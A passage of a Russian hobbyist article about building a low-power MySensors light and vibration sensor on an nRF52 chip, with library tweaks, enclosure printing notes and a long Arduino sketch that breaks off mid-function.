К этому времени я уже был немного знаком:) с nRF5 SDK, поэтому после штудирования форума mysensors.org(подсказки, наводки :)) решение решил поискать в nRF5 SDK… и нашел. Теперь стало доступным неограниченное количество прерываний которые практически ничего дополнительно не потребляют. Основное что надо сделать это внести небольшое изменение в код библиотеки Sandeepmistry nRF5, в файл WInterrupts.с перед функцией GPIOTE\_IRQHandler() добавить атрибут «weak» который позволит переопределить эту библиотечную функцию в пользовательском коде — \_\_attribute\_\_ ((weak))
Файл находится по пути — C:\Users\ЮЗЕР\_КОМПА\AppData\Local\Arduino15\packages\sandeepmistry\
hardware\nRF5\0.6.0\cores\nRF5\
Файлы которые необходимо добавить в проект находятся на моем Гите в папке EFEKTA-LIS2DW12-MAX44009-E73C/SOURCE CODE/ARDUINO/, пример использования находиться в самом скетче EFEKTA-LIS2DW12-MAX44009-E73C/SOURCE CODE/ARDUINO/vibro\_ambi1\_2.ino
Следующее что захотелось доработать это сама библиотека Sandeepmistry nRF5, что бы удобно было работать с новыми МК nRF52840, nRF52811 и старыми, но почему-то незаслуженно не добавленными nRF52810 (все-таки 1.4 мкА во сне это вам не это :)). Конечно с nRF52840 можно работать в Arduino IDE и из под nRF52832, но… захотелось поудобнее. Выше я писал что есть интерес что-то делать на SDK Нордика, тем более Segger Embedded Studio бесплатна при работе с МК nRF5. Поддержка всех интересных мне плат была взята из СДК и перенесена в Arduino (пока без softdevice, да оно и не надо с mysensors). Так же были добавлены новые платы в библиотеку MySensors.
[github.com/smartboxchannel/arduino-nRF5](https://github.com/smartboxchannel/arduino-nRF5)
[github.com/smartboxchannel/MySensors](https://github.com/smartboxchannel/MySensors)
Если кто-то из читателей уже знаком с предыдущими моими статьями, то наверное не удивится что корпус для датчика света я, как и прежде делал на SLA принтере из жидкого полимера. Плюсами печати на этой технологии является высокая точность. Но есть конечно и минусы, полимеры с которыми способны работать бытовые SLA принтеры все же уступают по прочности пластикам для FDM 3D модель корпуса состоит из 2 частей, каждая половинка печаталась 40 минут( толщина слоя 50 микрон). Особо тут наверное останавливаться незачем, просто пара фоток процесса разработки в 3D редакторе.
В программе датчика реализовал перезагрузку устройства без отправки презентаций. Работает это так: пока устройство новое и не добавленное в вашу сеть, оно при первом добавлении в сеть сделает регистрацию и полную презентацию, при успешной регистрации устройство получившее идентификатор больше не будет слать повторно презентации, но отправить презентацию можно нажав на кнопку на датчике(это необходимо например если не все сенсоры успешно презентовали сразу). Так же в программе отключается возможность стандартного автоматического восстановления работы в сети(при потере датчиком сети), придуман свой нестандартный вариант :). Работает это так: если датчик фиксирует более 5(это настраиваемо) неудачных подряд попыток отправок сообщений, то устройство перестает отправлять данные с сенсоров и начинает отправлять сообщение о поиске сети с интервалом вначале равном интервалу отправки с сенсоров датчика / 2 и периодически увеличивая этот интервал c каждой отправкой, между отправками здоровый сон. Все это позволяет существенно экономить заряд батарейки.
**Код тестовой программы**
```
// SDK PORT
extern "C" {
#include "app_gpiote.h"
#include "nrf_gpio.h"
}
#define APP_GPIOTE_MAX_USERS 1
#include
#include
//#define MY\_DEBUG
#define MY\_RADIO\_NRF5\_ESB
#define MY\_DISABLED\_SERIAL
int16\_t mtwr;
#define MY\_TRANSPORT\_WAIT\_READY\_MS (mtwr)
#define MY\_NRF5\_ESB\_PA\_LEVEL (NRF5\_PA\_MAX)
#include
#define SN "LUX & VIBRO SENS"
#define SV "1.0"
#define V\_SENS\_CHILD\_ID 1
#define LUX\_SENS\_CHILD\_ID 2
#define WPM\_SENS\_CHILD\_ID 3
#define INTERVAL\_R\_LUX\_CHILD\_ID 220
#define LEVEL\_SENSIV\_V\_SENS\_CHILD\_ID 230
#define ENABLE\_WPM\_SENS\_CHILD\_ID 240
#define SIGNAL\_Q\_ID 253
#define TEMP\_CHILD\_ID 254 //for any tests
#include
MyMessage vibroMsg(V\_SENS\_CHILD\_ID, V\_TRIPPED);
MyMessage brightMsg(LUX\_SENS\_CHILD\_ID, V\_LEVEL);
MyMessage wpmMsg(WPM\_SENS\_CHILD\_ID, V\_LEVEL);
MyMessage conf\_wpmMsg(ENABLE\_WPM\_SENS\_CHILD\_ID, V\_VAR1);
MyMessage conf\_vsensMsg(LEVEL\_SENSIV\_V\_SENS\_CHILD\_ID, V\_VAR1);
MyMessage conf\_interv\_rluxMsg(INTERVAL\_R\_LUX\_CHILD\_ID, V\_VAR1);
MyMessage tempMsg(TEMP\_CHILD\_ID, V\_VAR1); //for any tests
bool nosleep = 0;
bool button\_flag = 0;
bool configMode = 0;
bool wpm\_enable = 0;
bool onoff = 1;
bool flag\_update\_transport\_param;
bool flag\_sendRoute\_parent;
bool flag\_no\_present;
bool flag\_nogateway\_mode;
bool flag\_find\_parent\_process;
bool flag\_fcount;
bool Ack\_TL;
bool Ack\_FP;
bool PRESENT\_ACK;
byte conf\_vibro\_set = 1;
byte interval\_reading\_lux = 10;
byte err\_delivery\_beat;
byte problem\_mode\_count;
uint8\_t countbatt = 0;
uint8\_t batt\_cap;
uint8\_t old\_batt\_cap = 100;
//unsigned long BATT\_TIME = 43200000; //12 hours
uint32\_t BATT\_TIME = 7200000; //12 hours
uint32\_t SLEEP\_TIME\_TEMP = 60000; //1 minute
uint32\_t SLEEP\_TIME;
uint32\_t C\_BATT\_TIME;
uint32\_t oldmillis;
uint32\_t newmillis;
uint32\_t previousMillis;
uint32\_t lightMillisR;
uint32\_t configMillis;
uint32\_t interrupt\_time;
uint32\_t SLEEP\_TIME\_W;
uint32\_t axel\_time;
int16\_t result;
int16\_t brightness;
int16\_t lastbrightness;
int16\_t brightThreshold = 25;
int16\_t myid;
int16\_t mypar;
int16\_t old\_mypar = -1;
int16\_t master\_id;
float Wpm;
float ODR\_1Hz6\_LP\_ONLY = 1.6f;
float ODR\_12Hz5 = 12.5f;
float ODR\_25Hz = 25.0f;
float ODR\_50Hz = 50.0f;
float ODR\_100Hz = 100.0f;
float ODR\_200Hz = 200.0f;
bool vibro = 1;
static app\_gpiote\_user\_id\_t m\_gpiote\_user\_id;
uint32\_t PIN\_BUTTON1\_MASK;
uint32\_t AXEL\_INT1\_MASK;
volatile byte axelInt1Status = 0;
volatile byte buttInt1Status = 0;
uint16\_t batteryVoltage;
int16\_t linkQuality;
int16\_t old\_linkQuality;
LIS2DW12Sensor \*lis2;
MAX44009 light;
void preHwInit() {
board\_Init();
}
void before() {
blinky(1, 1, GREEN\_LED);
wait(1000);
nRF\_Init();
device\_Conf();
happy\_init();
}
void setup() {
interrupt\_Init();
sensors\_Init();
config\_Happy\_node();
}
void presentation()
{
if (!sendSketchInfo(SN, SV)) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1000);
wait(50);
if (!sendSketchInfo(SN, SV)) {
\_transportSM.failedUplinkTransmissions = 0;
}
}
present(V\_SENS\_CHILD\_ID, S\_VIBRATION, "STATUS VIBRO", 1);
wait(2500, C\_PRESENTATION, S\_VIBRATION);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(V\_SENS\_CHILD\_ID, S\_VIBRATION, "STATUS VIBRO", 1);
wait(2500, C\_PRESENTATION, S\_VIBRATION);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(LUX\_SENS\_CHILD\_ID, S\_LIGHT\_LEVEL, "LUX", 1);
wait(2500, C\_PRESENTATION, S\_LIGHT\_LEVEL);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(LUX\_SENS\_CHILD\_ID, S\_LIGHT\_LEVEL, "LUX", 1);
wait(2500, C\_PRESENTATION, S\_LIGHT\_LEVEL);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(WPM\_SENS\_CHILD\_ID, S\_LIGHT\_LEVEL, "W/M^2", 1);
wait(2500, C\_PRESENTATION, S\_LIGHT\_LEVEL);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(WPM\_SENS\_CHILD\_ID, S\_LIGHT\_LEVEL, "W/M^2", 1);
wait(2500, C\_PRESENTATION, S\_LIGHT\_LEVEL);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(SIGNAL\_Q\_ID, S\_CUSTOM, "SIGNAL QUALITY", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(SIGNAL\_Q\_ID, S\_CUSTOM, "SIGNAL QUALITY", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(ENABLE\_WPM\_SENS\_CHILD\_ID, S\_CUSTOM, "ON|OFF WPM", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(ENABLE\_WPM\_SENS\_CHILD\_ID, S\_CUSTOM, "ON|OFF WPM", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(LEVEL\_SENSIV\_V\_SENS\_CHILD\_ID, S\_CUSTOM, "SENS LEVEL VIBRO", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(LEVEL\_SENSIV\_V\_SENS\_CHILD\_ID, S\_CUSTOM, "SENS LEVEL VIBRO", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
present(INTERVAL\_R\_LUX\_CHILD\_ID, S\_CUSTOM, "INTERVAL RLUX|MIN", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
if (PRESENT\_ACK == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
present(INTERVAL\_R\_LUX\_CHILD\_ID, S\_CUSTOM, "INTERVAL RLUX|MIN", 1);
wait(2500, C\_PRESENTATION, S\_CUSTOM);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER PRESENT SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
PRESENT\_ACK = 0;
}
send(conf\_wpmMsg.set(wpm\_enable), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
if (Ack\_TL == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
send(conf\_wpmMsg.set(wpm\_enable), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
Ack\_TL = 0;
}
send(conf\_vsensMsg.set(conf\_vibro\_set), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
if (Ack\_TL == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
send(conf\_vsensMsg.set(conf\_vibro\_set), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
Ack\_TL = 0;
}
send(conf\_interv\_rluxMsg.set(interval\_reading\_lux), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
if (Ack\_TL == 0) {
\_transportSM.failedUplinkTransmissions = 0;
sleep(1500);
wait(50);
send(conf\_interv\_rluxMsg.set(interval\_reading\_lux), 1);
wait(2500, C\_SET, V\_VAR1);
CORE\_DEBUG(PSTR("MyS: TEST WAIT AFTER SEND CONF SENSOR\n"));
\_transportSM.failedUplinkTransmissions = 0;
} else {
Ack\_TL = 0;
}
}
void loop()
{
if (flag\_update\_transport\_param == 1) {
update\_Happy\_transport();
}
if (flag\_sendRoute\_parent == 1) {
present\_only\_parent();
}
if (isTransportReady() == true) {
if (flag\_nogateway\_mode == 0) {
if (flag\_find\_parent\_process == 1) {
find\_parent\_process();
}
if (configMode == 0) {
if ((axelInt1Status == AXEL\_INT1) || (buttInt1Status == PIN\_BUTTON1)) {
if (axelInt1Status == AXEL\_INT1) {
nosleep = 1;
send\_Axel();
axelInt1Status = 0;
newmillis = millis();
interrupt\_time = newmillis - oldmillis;
SLEEP\_TIME\_W = SLEEP\_TIME\_W - interrupt\_time;
if (SLEEP\_TIME\_W < 5000) {
SLEEP\_TIME\_W = SLEEP\_TIME;
send\_Brigh(1);
countbatt++;
if (countbatt == C\_BATT\_TIME) {
sendBatteryStatus(1);
countbatt = 0;
}
}
nosleep = 0;
}
if (buttInt1Status == PIN\_BUTTON1) {
if (digitalRead(PIN\_BUTTON1) == 0 && button\_flag == 0) {
button\_flag = 1;
nosleep = 1;
previousMillis = millis();
ledsOff();
}
if (digitalRead(PIN\_BUTTON1) == 0 && button\_flag == 1) {
if ((millis() - previousMillis > 0) && (millis() - previousMillis <= 1750)) {
if (millis() - lightMillisR > 25) {
lightMillisR = millis();
onoff = !onoff;
digitalWrite(GREEN\_LED, onoff);
}
}
if ((millis() - previousMillis > 1750) && (millis() - previousMillis <= 2000)) {
ledsOff();
}
if ((millis() - previousMillis > 2000) && (millis() - previousMillis <= 4000)) {
if (millis() - lightMillisR > 25) {
lightMillisR = millis();
onoff = !onoff;
digitalWrite(BLUE\_LED, onoff);
}
}
if ((millis() - previousMillis > 4000) && (millis() - previousMillis <= 4250)) {
ledsOff();
}
if ((millis() - previousMillis > 4250) && (millis() - previousMillis <= 6250)) {
if (millis() - lightMillisR > 25) {
lightMillisR = millis();
onoff = !onoff;
digitalWrite(RED\_LED, onoff);
}
}
if ((millis() - previousMillis > 6250) && (millis() - previousMillis <= 6500)) {
ledsOff();
}
if ((millis() - previousMillis > 6500) && (millis() - previousMillis <= 8500)) {
if (millis() - lightMillisR > 50) {
lightMillisR = millis();
onoff = !onoff;
digitalWrite(RED\_LED, onoff);
}
}
if (millis() - previousMillis > 8500) {
ledsOff();
}
}
if (digitalRead(PIN\_BUTTON1) == 1 && button\_flag == 1) {
if (millis() - previousMillis <= 2000)
{
ledsOff();
send\_Brigh(0);
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
if ((millis() - previousMillis > 2000) && (millis() - previousMillis <= 4000))
{
ledsOff();
configMode = 1;
button\_flag = 0;
configMillis = millis();
}
if ((millis() - previousMillis > 4250) && (millis() - previousMillis <= 6250))
{
ledsOff();
blinky(2, 2, RED\_LED);
button\_flag = 0;
buttInt1Status = 0;
presentation();
nosleep = 0;
}
if ((millis() - previousMillis > 6500) && (millis() - previousMillis <= 8500))
{
ledsOff();
blinky(3, 3, RED\_LED);
new\_device();
}
if (((millis() - previousMillis > 1750) && (millis() - previousMillis <= 2000)) || ((millis() - previousMillis > 4000) && (millis() - previousMillis <= 4250)) || ((millis() - previousMillis > 6250) && (millis() - previousMillis <= 6500)) || ((millis() - previousMillis > 8500)))
{
ledsOff();
blinky(1, 2, GREEN\_LED);
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
}
}
} else {
SLEEP\_TIME\_W = SLEEP\_TIME;
send\_Brigh(1);
countbatt++;
if (countbatt == C\_BATT\_TIME) {
sendBatteryStatus(1);
countbatt = 0;
}
nosleep = 0;
}
} else {
if (millis() - configMillis > 30000) {
blinky(3, 3, GREEN\_LED);
configMode = 0;
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
}
} else {
if (buttInt1Status == PIN\_BUTTON1) {
if (digitalRead(PIN\_BUTTON1) == 0 && button\_flag == 0) {
button\_flag = 1;
nosleep = 1;
previousMillis = millis();
ledsOff();
}
if (digitalRead(PIN\_BUTTON1) == 0 && button\_flag == 1) {
if ((millis() - previousMillis > 0) && (millis() - previousMillis <= 500))
{
ledsOff();
}
if ((millis() - previousMillis > 500) && (millis() - previousMillis <= 2500))
{
lightMillisR = millis();
onoff = !onoff;
digitalWrite(BLUE\_LED, onoff);
}
if ((millis() - previousMillis > 2500) && (millis() - previousMillis <= 2750))
{
ledsOff();
}
if ((millis() - previousMillis > 2750) && (millis() - previousMillis <= 4750)) {
if (millis() - lightMillisR > 50) {
lightMillisR = millis();
onoff = !onoff;
digitalWrite(RED\_LED, onoff);
}
}
if (millis() - previousMillis > 4750) {
ledsOff();
blinky(3, 1, GREEN\_LED);
button\_flag = 0;
nosleep = 0;
buttInt1Status = 0;
}
}
if (digitalRead(PIN\_BUTTON1) == 1 && button\_flag == 1) {
if (millis() - previousMillis <= 500)
{
ledsOff();
button\_flag = 0;
nosleep = 0;
buttInt1Status = 0;
}
if ((millis() - previousMillis > 500) && (millis() - previousMillis <= 2500))
{
ledsOff();
blinky(1, 1, BLUE\_LED);
check\_parent();
button\_flag = 0;
nosleep = 0;
buttInt1Status = 0;
}
if ((millis() - previousMillis > 2500) && (millis() - previousMillis <= 2750))
{
ledsOff();
button\_flag = 0;
nosleep = 0;
buttInt1Status = 0;
}
if ((millis() - previousMillis > 2750) && (millis() - previousMillis <= 4750))
{
ledsOff();
blinky(3, 3, RED\_LED);
new\_device();
}
if (millis() - previousMillis > 4750)
{
ledsOff();
button\_flag = 0;
nosleep = 0;
buttInt1Status = 0;
}
}
} else {
check\_parent();
}
}
}
if (\_transportSM.failureCounter > 0)
{
\_transportConfig.parentNodeId = loadState(101);
\_transportConfig.nodeId = myid;
\_transportConfig.distanceGW = loadState(103);
mypar = \_transportConfig.parentNodeId;
nosleep = 0;
flag\_fcount = 1;
err\_delivery\_beat = 5;
happy\_node\_mode();
gateway\_fail();
}
if (configMode == 0) {
if (nosleep == 0) {
oldmillis = millis();
axelInt1Status = 0;
buttInt1Status = 0;
wait(100);
sleep(SLEEP\_TIME\_W, false);
wait(50);
nosleep = 1;
}
}
}
float GetWpm()
{
float SunLuxCoef = 0.0079;
float Wpm\_temp = 0;
Wpm\_temp = (float)brightness;
Wpm\_temp \*= SunLuxCoef;
return Wpm\_temp;
}
void blinky(uint8\_t pulses, uint8\_t repit, uint8\_t ledColor) {
for (int x = 0; x < repit; x++) {
if (x > 0) {
sleep(300);
}
for (int i = 0; i < pulses; i++) {
if (i > 0) {
sleep(80);
}
digitalWrite(ledColor, LOW);
sleep(20);
digitalWrite(ledColor, HIGH);
}
}
}
void ledsOff() {
digitalWrite(RED\_LED, HIGH);
digitalWrite(GREEN\_LED, HIGH);
digitalWrite(BLUE\_LED, HIGH);
}
void nRF\_Init() {
NRF\_POWER->DCDCEN = 1;
NRF\_NFCT->TASKS\_DISABLE = 1;
NRF\_NVMC->CONFIG = 1;
NRF\_UICR->NFCPINS = 0;
NRF\_NVMC->CONFIG = 0;
NRF\_SAADC ->ENABLE = 0;
NRF\_PWM0 ->ENABLE = 0;
NRF\_PWM1 ->ENABLE = 0;
NRF\_PWM2 ->ENABLE = 0;
NRF\_TWIM1 ->ENABLE = 0;
NRF\_TWIS1 ->ENABLE = 0;
NRF\_RADIO->TXPOWER = 8;
}
void sensors\_Init() {
Wire.begin();
wait(100);
light.begin();
wait(100);
lis2 = new LIS2DW12Sensor (&Wire);
vibro\_Init();
if (isTransportReady() == true) {
blinky(3, 1, BLUE\_LED);
wait(200);
blinky(3, 1, GREEN\_LED);
wait(200);
blinky(3, 1, RED\_LED);
SLEEP\_TIME\_W = SLEEP\_TIME;
send\_Brigh(0);
wait(50);
sendBatteryStatus(0);
axel\_time = millis();
} else {
blinky(5, 3, RED\_LED);
}
}
void vibro\_Init() {
if (conf\_vibro\_set == 1) {
lis2->ODRTEMP = ODR\_1Hz6\_LP\_ONLY;
}
if (conf\_vibro\_set == 2) {
lis2->ODRTEMP = ODR\_12Hz5;
}
if (conf\_vibro\_set == 3) {
lis2->ODRTEMP = ODR\_25Hz;
}
if (conf\_vibro\_set == 4) {
lis2->ODRTEMP = ODR\_100Hz;
}
if (conf\_vibro\_set == 5) {
lis2->ODRTEMP = ODR\_200Hz;
}
lis2->Enable\_X();
wait(50);
lis2->Enable\_Wake\_Up\_Detection();
wait(50);
}
void board\_Init() {
pinMode(PIN\_BUTTON1, INPUT);
pinMode(AXEL\_INT1, INPUT);
pinMode(AXEL\_INT2, INPUT);
pinMode(AMBI\_INT, INPUT);
pinMode(RED\_LED, OUTPUT);
pinMode(GREEN\_LED, OUTPUT);
pinMode(BLUE\_LED, OUTPUT);
ledsOff();
}
void send\_Axel() {
if (millis() - axel\_time >= 5000) {
blinky(6, 1, RED\_LED);
lis2->Disable\_Wake\_Up\_Detection();
wait(100);
if (\_transportConfig.parentNodeId == 0) {
if (send(vibroMsg.set(vibro))) {
wait(100);
err\_delivery\_beat = 0;
if (flag\_nogateway\_mode == 1) {
flag\_nogateway\_mode = 0;
CORE\_DEBUG(PSTR("MyS: NORMAL GATEWAY MODE\n"));
err\_delivery\_beat = 0;
}
} else {
\_transportSM.failedUplinkTransmissions = 0;
if (err\_delivery\_beat < 5) {
err\_delivery\_beat++;
}
if (err\_delivery\_beat == 4) {
if (flag\_nogateway\_mode == 0) {
gateway\_fail();
CORE\_DEBUG(PSTR("MyS: LOST GATEWAY MODE\n"));
}
}
}
lis2->Enable\_Wake\_Up\_Detection();
wait(100);
axel\_time = millis();
nosleep = 0;
}
if (\_transportConfig.parentNodeId > 0) {
send(vibroMsg.set(vibro), 1);
wait(2500, C\_SET, V\_TRIPPED);
if (Ack\_TL == 1) {
Ack\_TL = 0;
err\_delivery\_beat = 0;
//sleep\_flag = 0;
if (flag\_nogateway\_mode == 1) {
flag\_nogateway\_mode = 0;
CORE\_DEBUG(PSTR("MyS: NORMAL GATEWAY MODE\n"));
err\_delivery\_beat = 0;
}
} else {
\_transportSM.failedUplinkTransmissions = 0;
if (err\_delivery\_beat < 5) {
err\_delivery\_beat++;
}
if (err\_delivery\_beat == 4) {
if (flag\_nogateway\_mode == 0) {
gateway\_fail();
CORE\_DEBUG(PSTR("MyS: LOST GATEWAY MODE\n"));
}
}
}
lis2->Enable\_Wake\_Up\_Detection();
wait(100);
axel\_time = millis();
nosleep = 0;
}
} else {
nosleep = 0;
}
}
void send\_Brigh(bool start) {
brightness = light.get\_lux() \* 2;
wait(50);
if (start == 1) {
if (abs(brightness - lastbrightness) >= brightThreshold) {
if (\_transportConfig.parentNodeId == 0) {
if (send(brightMsg.set(brightness, 0))) {
err\_delivery\_beat = 0;
if (flag\_nogateway\_mode == 1) {
flag\_nogateway\_mode = 0;
CORE\_DEBUG(PSTR("MyS: NORMAL GATEWAY MODE\n"));
err\_delivery\_beat = 0;
}
lastbrightness = brightness;
if (wpm\_enable == 1) {
Wpm = GetWpm();
wait(100);
send(wpmMsg.set(Wpm, 0));
}
wait(50);
blinky(2, 2, BLUE\_LED);
} else {
\_transportSM.failedUplinkTransmissions = 0;
if (err\_delivery\_beat < 5) {
err\_delivery\_beat++;
}
if (err\_delivery\_beat == 4) {
if (flag\_nogateway\_mode == 0) {
gateway\_fail();
CORE\_DEBUG(PSTR("MyS: LOST GATEWAY MODE\n"));
}
}
}
}
if (\_transportConfig.parentNodeId > 0) {
send(brightMsg.set(brightness, 0), 1);
wait(2500, C\_SET, V\_LEVEL);
if (Ack\_TL == 1) {
Ack\_TL = 0;
err\_delivery\_beat = 0;
if (flag\_nogateway\_mode == 1) {
flag\_nogateway\_mode = 0;
CORE\_DEBUG(PSTR("MyS: NORMAL GATEWAY MODE\n"));
err\_delivery\_beat = 0;
}
lastbrightness = brightness;
if (wpm\_enable == 1) {
Wpm = GetWpm();
wait(100);
send(wpmMsg.set(Wpm, 0));
}
wait(50);
blinky(2, 2, BLUE\_LED);
} else {
\_transportSM.failedUplinkTransmissions = 0;
if (err\_delivery\_beat < 5) {
err\_delivery\_beat++;
}
if (err\_delivery\_beat == 4) {
if (flag\_nogateway\_mode == 0) {
gateway\_fail();
CORE\_DEBUG(PSTR("MyS: LOST GATEWAY MODE\n"));
}
}
}
}
}
} else {
send(brightMsg.set(brightness, 0));
lastbrightness = brightness;
if (wpm\_enable == 1) {
Wpm = GetWpm();
wait(100);
send(wpmMsg.set(Wpm, 0));
}
wait(50);
blinky(2, 2, BLUE\_LED);
}
}
void interrupt\_Init() {
//\*\*\*
//SET
//NRF\_GPIO\_PIN\_NOPULL
//NRF\_GPIO\_PIN\_PULLUP
//NRF\_GPIO\_PIN\_PULLDOWN
//\*\*\*
nrf\_gpio\_cfg\_input(PIN\_BUTTON1, NRF\_GPIO\_PIN\_PULLUP);
nrf\_gpio\_cfg\_input(AXEL\_INT1, NRF\_GPIO\_PIN\_NOPULL);
APP\_GPIOTE\_INIT(APP\_GPIOTE\_MAX\_USERS);
PIN\_BUTTON1\_MASK = 1 << PIN\_BUTTON1;
AXEL\_INT1\_MASK = 1 << AXEL\_INT1;
// app\_gpiote\_user\_register(p\_user\_id, pins\_low\_to\_high\_mask, pins\_high\_to\_low\_mask, event\_handler)
app\_gpiote\_user\_register(&m\_gpiote\_user\_id, AXEL\_INT1\_MASK, PIN\_BUTTON1\_MASK, gpiote\_event\_handler);
app\_gpiote\_user\_enable(m\_gpiote\_user\_id);
axelInt1Status = 0;
buttInt1Status = 0;
}
void gpiote\_event\_handler(uint32\_t event\_pins\_low\_to\_high, uint32\_t event\_pins\_high\_to\_low)
{
MY\_HW\_RTC->CC[0] = (MY\_HW\_RTC->COUNTER + 2);
if (PIN\_BUTTON1\_MASK & event\_pins\_high\_to\_low) {
if ((buttInt1Status == 0) && (axelInt1Status == 0)) {
buttInt1Status = PIN\_BUTTON1;
}
}
if (flag\_nogateway\_mode == 0) {
if (configMode == 0) {
if (AXEL\_INT1\_MASK & event\_pins\_low\_to\_high) {
if ((axelInt1Status == 0) && (buttInt1Status == 0)) {
axelInt1Status = AXEL\_INT1;
}
}
}
}
/\*\*\*
if ((PIN\_BUTTON\_MASK & event\_pins\_low\_to\_high) || (PIN\_BUTTON1\_MASK & event\_pins\_high\_to\_low))
\*\*\*/
}
void device\_Conf() {
conf\_vibro\_set = loadState(230);
if ((conf\_vibro\_set > 5) || (conf\_vibro\_set == 0)) {
conf\_vibro\_set = 1;
saveState(230, conf\_vibro\_set);
}
wpm\_enable = loadState(240);
if (wpm\_enable > 1) {
wpm\_enable = 0;
saveState(240, wpm\_enable);
}
interval\_reading\_lux = loadState(220);
if (interval\_reading\_lux > 60) {
interval\_reading\_lux = 60;
saveState(230, interval\_reading\_lux);
} else if (interval\_reading\_lux < 1) {
interval\_reading\_lux = 1;
saveState(230, interval\_reading\_lux);
}
SLEEP\_TIME = SLEEP\_TIME\_TEMP \* interval\_reading\_lux;
C\_BATT\_TIME = BATT\_TIME / SLEEP\_TIME;
}
void sendBatteryStatus(bool start) {
sleep(5000);
wait(200);
batteryVoltage = hwCPUVoltage();
wait(10);
batt\_cap = battery\_level\_in\_percent(batteryVoltage);
if (start == 1) {
if (batt\_cap < old\_batt\_cap) {
sendBatteryLevel(battery\_level\_in\_percent(batteryVoltage), 1);
wait(2500, C\_INTERNAL, I\_BATTERY\_LEVEL);
old\_batt\_cap = batt\_cap;
}
} else {
sendBatteryLevel(battery\_level\_in\_percent(batteryVoltage), 1);
wait(2500, C\_INTERNAL, I\_BATTERY\_LEVEL);
}
linkQuality = calculationRxQuality();
if (linkQuality != old\_linkQuality) {
wait(10);
sendSignalStrength(linkQuality);
wait(50);
old\_linkQuality = linkQuality;
}
}
bool sendSignalStrength(const int16\_t level, const bool ack)
{
return \_sendRoute(build(\_msgTmp, GATEWAY\_ADDRESS, SIGNAL\_Q\_ID, C\_SET, V\_VAR1,
ack).set(level));
}
int16\_t calculationRxQuality() {
int16\_t nRFRSSI\_temp = transportGetReceivingRSSI();
int16\_t nRFRSSI = map(nRFRSSI\_temp, -85, -40, 0, 100);
if (nRFRSSI < 0) {
nRFRSSI = 0;
}
if (nRFRSSI > 100) {
nRFRSSI = 100;
}
return nRFRSSI;
}
void happy\_init() {
//hwWriteConfig(EEPROM\_NODE\_ID\_ADDRESS, 255); // \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* checking the node config reset \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
